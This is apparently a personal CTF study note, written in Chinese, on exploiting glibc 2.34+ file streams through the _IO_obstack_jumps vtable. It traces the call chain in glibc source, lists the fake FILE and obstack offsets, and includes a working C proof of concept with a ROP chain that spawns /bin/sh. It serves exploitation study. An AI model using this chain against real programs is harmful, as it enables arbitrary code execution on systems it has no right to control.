前言

​ 高版本的iofile利用还是比较常见的手法,

​ 主要参考: https://tttang.com/archive/1845/

23.04docker或者虚拟机,需要加一个LC_CTYPE来运行,不然字符集有问题

1
LC_CTYPE=C.UTF-8 gdb `find ./glibc-2.34 -type d -printf '-d %p '` ./chal

​ 还是没有符号呀. 符号的话, 需要改一下/usr/lib/debug https://blog.csdn.net/m0_51251108/article/details/127098744

vtable劫持检测: 2.24后加入了针对IO_FILE_plus的vtable劫持的检测措施, 所以vtable地址必须合法, 所以要选择一个可以利用的vtable, 例如本文中的_IO_obstack_jumps

​ 总之布局的参数, 要么是绕过判断条件进入想要的分支、要么是构造参数

​ 将vtable替换成&_IO_obstack_jumps+0x20,这样vtable+0x18地址就指向了 _IO_obstack_xsputn

利用条件

1. 一次任意地址写 劫持_IO_list_all或者chain等(如`large bin attack`、`tcache stashing unlink attack`、`fastbin reverse into tcache`)
1. 能够触发io流(`FSOP`或触发`__malloc_assert`,或者程序中存在`puts`等能进入`IO`链的函数),执行`IO`相关函数。
1. 泄漏堆地址和libc基址

利用流程分析

_IO_obstack_jumps

​ 能看到只有两个函数可以利用( 所以如果以后有新的函数加进来,可能就会有新的利用手法了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

/* the jump table. */
const struct _IO_jump_t _IO_obstack_jumps libio_vtable attribute_hidden =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, NULL),
JUMP_INIT(overflow, _IO_obstack_overflow),
JUMP_INIT(underflow, NULL),
JUMP_INIT(uflow, NULL),
JUMP_INIT(pbackfail, NULL),
JUMP_INIT(xsputn, _IO_obstack_xsputn),
JUMP_INIT(xsgetn, NULL),
JUMP_INIT(seekoff, NULL),
JUMP_INIT(seekpos, NULL),
JUMP_INIT(setbuf, NULL),
JUMP_INIT(sync, NULL),
JUMP_INIT(doallocate, NULL),
JUMP_INIT(read, NULL),
JUMP_INIT(write, NULL),
JUMP_INIT(seek, NULL),
JUMP_INIT(close, NULL),
JUMP_INIT(stat, NULL),
JUMP_INIT(showmanyc, NULL),
JUMP_INIT(imbue, NULL)
};

_IO_obstack_xsputn函数分析

​ obstack_blank_fast如何保证的内存安全呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
static size_t
_IO_obstack_xsputn (FILE *fp, const void *data, size_t n)
{ // 获取bobstack指针
struct obstack *obstack = ((struct _IO_obstack_file *) fp)->obstack;
// 检查是否有足够的写入空间, 没有的话,进入里面进行调整
if (fp->_IO_write_ptr + n > fp->_IO_write_end)
{
int size;
// 调整缓冲区大小
/* We need some more memory. First shrink the buffer to the
space we really currently need. */
obstack_blank_fast (obstack, fp->_IO_write_ptr - fp->_IO_write_end);
// 将数据追加到obstack上
/* Now grow for N bytes, and put the data there. */
obstack_grow (obstack, data, n);

/* Setup the buffer pointers again. */
fp->_IO_write_base = obstack_base (obstack);
fp->_IO_write_ptr = obstack_next_free (obstack);
size = obstack_room (obstack);
fp->_IO_write_end = fp->_IO_write_ptr + size;
/* Now allocate the rest of the current chunk. */
obstack_blank_fast (obstack, size);
}
else // 有的话,就直接写入数据了
fp->_IO_write_ptr = __mempcpy (fp->_IO_write_ptr, data, n);

return n;
}

​ 进入到obstack_grow中

1
2
3
4
5
6
7
8
9
# define obstack_grow(OBSTACK, where, length)				      \
__extension__ \
({ struct obstack *__o = (OBSTACK); \
int __len = (length); \
if (__o->next_free + __len > __o->chunk_limit) 检查空间是否足够 \
_obstack_newchunk (__o, __len); 分配新的内存快 \
memcpy (__o->next_free, where, __len); \
__o->next_free += __len; \
(void) 0; })

​ 进入_obstack_newchunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/* Allocate a new current chunk for the obstack *H
on the assumption that LENGTH bytes need to be added
to the current object, or a new object of length LENGTH allocated.
Copies any partial object from the end of the old chunk
to the beginning of the new one. */

void
_obstack_newchunk (struct obstack *h, int length)
{
struct _obstack_chunk *old_chunk = h->chunk;
struct _obstack_chunk *new_chunk;
long new_size;
long obj_size = h->next_free - h->object_base;
long i;
long already;
char *object_base;

/* Compute size for new chunk. */
new_size = (obj_size + length) + (obj_size >> 3) + h->alignment_mask + 100;
if (new_size < h->chunk_size)
new_size = h->chunk_size;

/* Allocate and initialize the new chunk. */
new_chunk = CALL_CHUNKFUN (h, new_size);
if (!new_chunk)
(*obstack_alloc_failed_handler)();
..........
}

​ 进入CALL_CHUNKFUN, 所以说这里两条触发路径其实都可以? 回头试试

1
2
3
4
5
6
7
8
9
10
11
/* Define a macro that either calls functions with the traditional malloc/free
calling interface, or calls functions with the mmalloc/mfree interface
(that adds an extra first argument), based on the state of use_extra_arg.
For free, do not use ?:, since some compilers, like the MIPS compilers,
do not allow (expr) ? void : void. */

# define CALL_CHUNKFUN(h, size) \
(((h)->use_extra_arg) \
? (*(h)->chunkfun)((h)->extra_arg, (size)) \
: (*(struct _obstack_chunk *(*)(long))(h)->chunkfun)((size)))

​ 综上所述,得到函数调用链

函数调用链

  • _IO_obstack_xsputn

    • obstack_grow
      • _obstack_newchunk
        • CALL_CHUNKFUN
          • (*(h)->chunkfun)((h)->extra_arg, (size))

伪造结构

​ 这些偏移都可以看源码找到,或者gdb调试的时候来看

​ 一个是_IO_FILE 一个是obstack , 注意下面伪造的结构,把chunkA既当作了IOFILE结构,也当作了obstack,进行了复用,可以压缩空间

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
struct obstack          /* control current object in current chunk */
{
long chunk_size; /* preferred size to allocate chunks in */
struct _obstack_chunk *chunk; /* address of current struct obstack_chunk */
char *object_base; /* address of object we are building */
char *next_free; /* where to add next char to current object */
char *chunk_limit; /* address of char after current chunk */
union
{
PTR_INT_TYPE tempint;
void *tempptr;
} temp; /* Temporary for some macros. */
int alignment_mask; /* Mask of alignment for each object. */
/* These prototypes vary based on 'use_extra_arg', and we use
casts to the prototypeless function type in all assignments,
but having prototypes here quiets -Wstrict-prototypes. */
struct _obstack_chunk *(*chunkfun) (void *, long);
void (*freefun) (void *, struct _obstack_chunk *);
void *extra_arg; /* first arg for chunk alloc/dealloc funcs */
unsigned use_extra_arg : 1; /* chunk alloc/dealloc funcs take extra arg */
unsigned maybe_empty_object : 1; /* There is a possibility that the current
chunk contains a zero-length object. This
prevents freeing the chunk if we allocate
a bigger chunk to replace it. */
unsigned alloc_failed : 1; /* No longer used, as we now call the failed
handler on error, but retained for binary
compatibility. */
};


struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */

/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */

/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */

/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

攻击思路一

  • 利用largebin attack伪造_IO_FILE,记完成伪造的chunkA(或者别的手法)

  • chunk A内偏移为0x18处设为1(next_free)

  • chunk A内偏移为0x20处设为0(chunk_limit

    满足 _o->next_free + __len > __o->chunk_limit

  • chunk A内偏移为0x28处设为1(_IO_write_ptr)

  • chunk A内偏移为0x30处设为0 (_IO_write_end)

​ 满足这个条件: fp-> _IO_write_ptr + n > fp-> _IO_write_end

  • chunk A内偏移为0x38处设为system函数的地址
  • chunk A内偏移为0x48处设为&/bin/sh

    1
    2
    3
    4
    # define CALL_CHUNKFUN(h, size) \
    (((h)->use_extra_arg) \
    ? (*(h)->chunkfun)((h)->extra_arg, (size)) \
    : (*(struct _obstack_chunk *(*)(long))(h)->chunkfun)((size)))

    ​ 0x38 = 56

    ​ 8 + 8 + 8 + 8 + 8 + 8 + 4 =52, 但其实是int alignment_mask; 占据了8字节,可能是因为对其的原因,所以字段还是要实际测试的! 不能想当然的加一下

    ​ 这里: struct _obstack_chunk *(*chunkfun) (void *, long);

  • chunk A内偏移为0x50处设为1 (use_extra_arg)

​ 满足(h)->use_extra_arg 不为0

  • chunk A内偏移为0xd8处设为_IO_obstack_jumps+0x20 (vtable的地址)

    1
    2
    3
    4
    5
    struct _IO_FILE_plus
    {
    _IO_FILE file;
    const struct _IO_jump_t *vtable;
    };
  • chunk A内偏移为0xe0处设置chunk A的地址作为obstack结构体 (??

    0xe0的位置就是FILE结束后的位置, 也就是vtable之后(_IO_FILE_plus之后)

    1
    2
    3
    4
    5
    struct _IO_obstack_file
    {
    struct _IO_FILE_plus file;
    struct obstack *obstack;
    };

触发流程

​ 通过_IO_flush_all_lockp函数进行触发,这个函数会刷新 _IO_list_all链表中所有项的文件流, 相当于对每个FILE调用fflush, 也会对应调用 _IO_FILE_plus.vtable中的 _IO_overflow,能够看到它位于0x18的位置

1
2
3
4
5
6
7
8
9
pwndbg> tele 0x7ffff7fae600
00:00000x7ffff7fae600 (_IO_file_jumps) ◂— 0x0
01:00080x7ffff7fae608 (_IO_file_jumps+8) ◂— 0x0
02:00100x7ffff7fae610 (_IO_file_jumps+16) —▸ 0x7ffff7e23fa0 (_IO_file_finish) ◂— endbr64
03:00180x7ffff7fae618 (_IO_file_jumps+24) —▸ 0x7ffff7e24d70 (_IO_file_overflow) ◂— endbr64
04:00200x7ffff7fae620 (_IO_file_jumps+32) —▸ 0x7ffff7e24a60 (_IO_file_underflow) ◂— endbr64
05:00280x7ffff7fae628 (_IO_file_jumps+40) —▸ 0x7ffff7e25d10 (_IO_default_uflow) ◂— endbr64
06:00300x7ffff7fae630 (_IO_file_jumps+48) —▸ 0x7ffff7e27230 (_IO_default_pbackfail) ◂— endbr64
07:00380x7ffff7fae638 (_IO_file_jumps+56) —▸ 0x7ffff7e235d0 (_IO_file_xsputn) ◂— endbr64

​ 而我们进行伪造的vtable是_IO_obstack_jumps, 利用的 _IO_obstack_xsputn位于0x38的位置,所以我们伪造的IOFILE结构体需要将它的vtable替换成& _IO_obstack_xsputn+0x20的位置即可,这样此时vtable+0x18对应额就是 _IO_obstack_xsputn+0x38,也就是 _IO_obstack_xsputn了

函数调用链

1
2
3
4
5
exit
- __run_exit_handlers
- _IO_cleanup
- _IO_flush_all_lockp
- _IO_OVERFLOW( 这里被替换成_IO_obstack_xsputn了)

exp

感觉文章给的payload有点问题

1
2
0xd0:heap_base + 0x250,
0xc8:libc_base + get_IO_str_jumps() - 0x300 + 0x20

rop

1
2
3
4
5
6
7
8
9
pwndbg> disass svcudp_reply
Dump of assembler code for function svcudp_reply:
...........
0x00007ffff7f00bca <+26>: mov rbp,QWORD PTR [rdi+0x48]
0x00007ffff7f00bce <+30>: mov rax,QWORD PTR [rbp+0x18]
0x00007ffff7f00bd2 <+34>: lea r13,[rbp+0x10]
0x00007ffff7f00bd6 <+38>: mov DWORD PTR [rbp+0x10],0x0
0x00007ffff7f00bdd <+45>: mov rdi,r13
0x00007ffff7f00be0 <+48>: call QWORD PTR [rax+0x28]

b *svcudp_reply +26

1
CALL_CHUNKFUN

leave;ret = mov rsp,rbp;pop rbp; pop rip;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#include<stdio.h>
#include <stdlib.h>
#include <string.h>

#define writeend_offset 0x30
#define writeptr_offset 0x28
#define vtable_offset 0xd8
#define next_free_offset 0x18
#define chunk_limit_offset 0x20
#define caller_offset 0x38
#define caller_arg_offset 0x48
#define use_arg_offset 0x50
#define fake_obstack_offset 0xe0

void backdoor(char *cmd)
{
puts("OHHH!HACKER!!!");
puts("HERE IS U SHELL!");
system(cmd);
}

char *fake_arg = "/bin/sh\x00";

int main(void)
{
puts("this is a poc");
size_t libc_base = &puts - 0x80ef0;
size_t _IO_list_all_prt = libc_base + 0x21a660;
size_t _IO_obstack_jumps_prt = libc_base + 0x2163c0;
void *ptr,*ropptr;
long long *list_all_ptr;
ropptr = malloc(0x300);
ptr=malloc(0x200); // 注意这俩顺序
//bypass
*(long long*)((long long)ptr+writeptr_offset)=0x1;
*(long long*)((long long)ptr+writeend_offset)=0x0;
*(long long*)((long long)ptr+next_free_offset)=0x1;
*(long long*)((long long)ptr+chunk_limit_offset)=0x0;
*(long long*)((long long)ptr+use_arg_offset)=0x1;
*(long long*)((long long)ptr+fake_obstack_offset)=(long long*)ptr;
//vtable _IO_obstack_jumps_prt
*(long long*)((long long)ptr+vtable_offset)=(long long*)(_IO_obstack_jumps_prt+0x20);
//set the function to call and its parameters
*(long long*)((long long)ptr+caller_offset)=(long long*)(libc_base+0x168bca);
*(long long*)((long long)ptr+caller_arg_offset)=(long long*)(libc_base+0x168bca);

*(long long*)((long long)ptr+0x48)=(long long*)(ropptr); //mov rbp,QWORD PTR [rdi+0x48]
*(long long*)((long long)ropptr+0x48)=(long long*)ropptr;
*(long long*)((long long)ropptr+0x18)=(long long*)ropptr;//mov rax,QWORD PTR [rbp+0x18]
*(long long*)((long long)ropptr+0x28)=(long long*)(libc_base+0x561cc); //call QWORD PTR [rax+0x28] leave;ret
*(long long*)((long long)ptr+writeptr_offset)=0x1;


const char binsh[] = "/bin/sh";
memcpy((char *)ropptr + 0x80, binsh, sizeof(binsh));
*(long long*)((long long)ropptr+0x8)=(long long*)(libc_base+0x11e491);

*(long long*)((long long)ropptr+0x20)=(long long*)(libc_base+0x2a6c5);
*(long long*)((long long)ropptr+0x30)=(long long*)(libc_base+0x2a6c5);
*(long long*)((long long)ropptr+0x38)=(long long*)(ropptr+0x80);
*(long long*)((long long)ropptr+0x40)=(long long*)(&system);


//_IO_list_all _chain 2 fake _IO_FILE_plus
list_all_ptr=(long long *)(_IO_list_all_prt + 0x68 + 0x20);
list_all_ptr[0]=ptr;
exit(0);
}

ropptr 那里可以布置rop了,

rdi是怎么来的???什么时候控制的??

1
2
3
  0x7ffff7e3ed8c <_obstack_newchunk+76>    mov    rdi, qword ptr [rdi + 0x48]
0x7ffff7e3ed90 <_obstack_newchunk+80> mov rsi, rbp
0x7ffff7e3ed93 <_obstack_newchunk+83> call rax

0x000000000005f65a : pop rdx ; ret

0x000000000011e491 : pop rdx ; pop r12 ; ret

libc_base+0x2a6c5);//pop rdi;ret

image-20240210202308056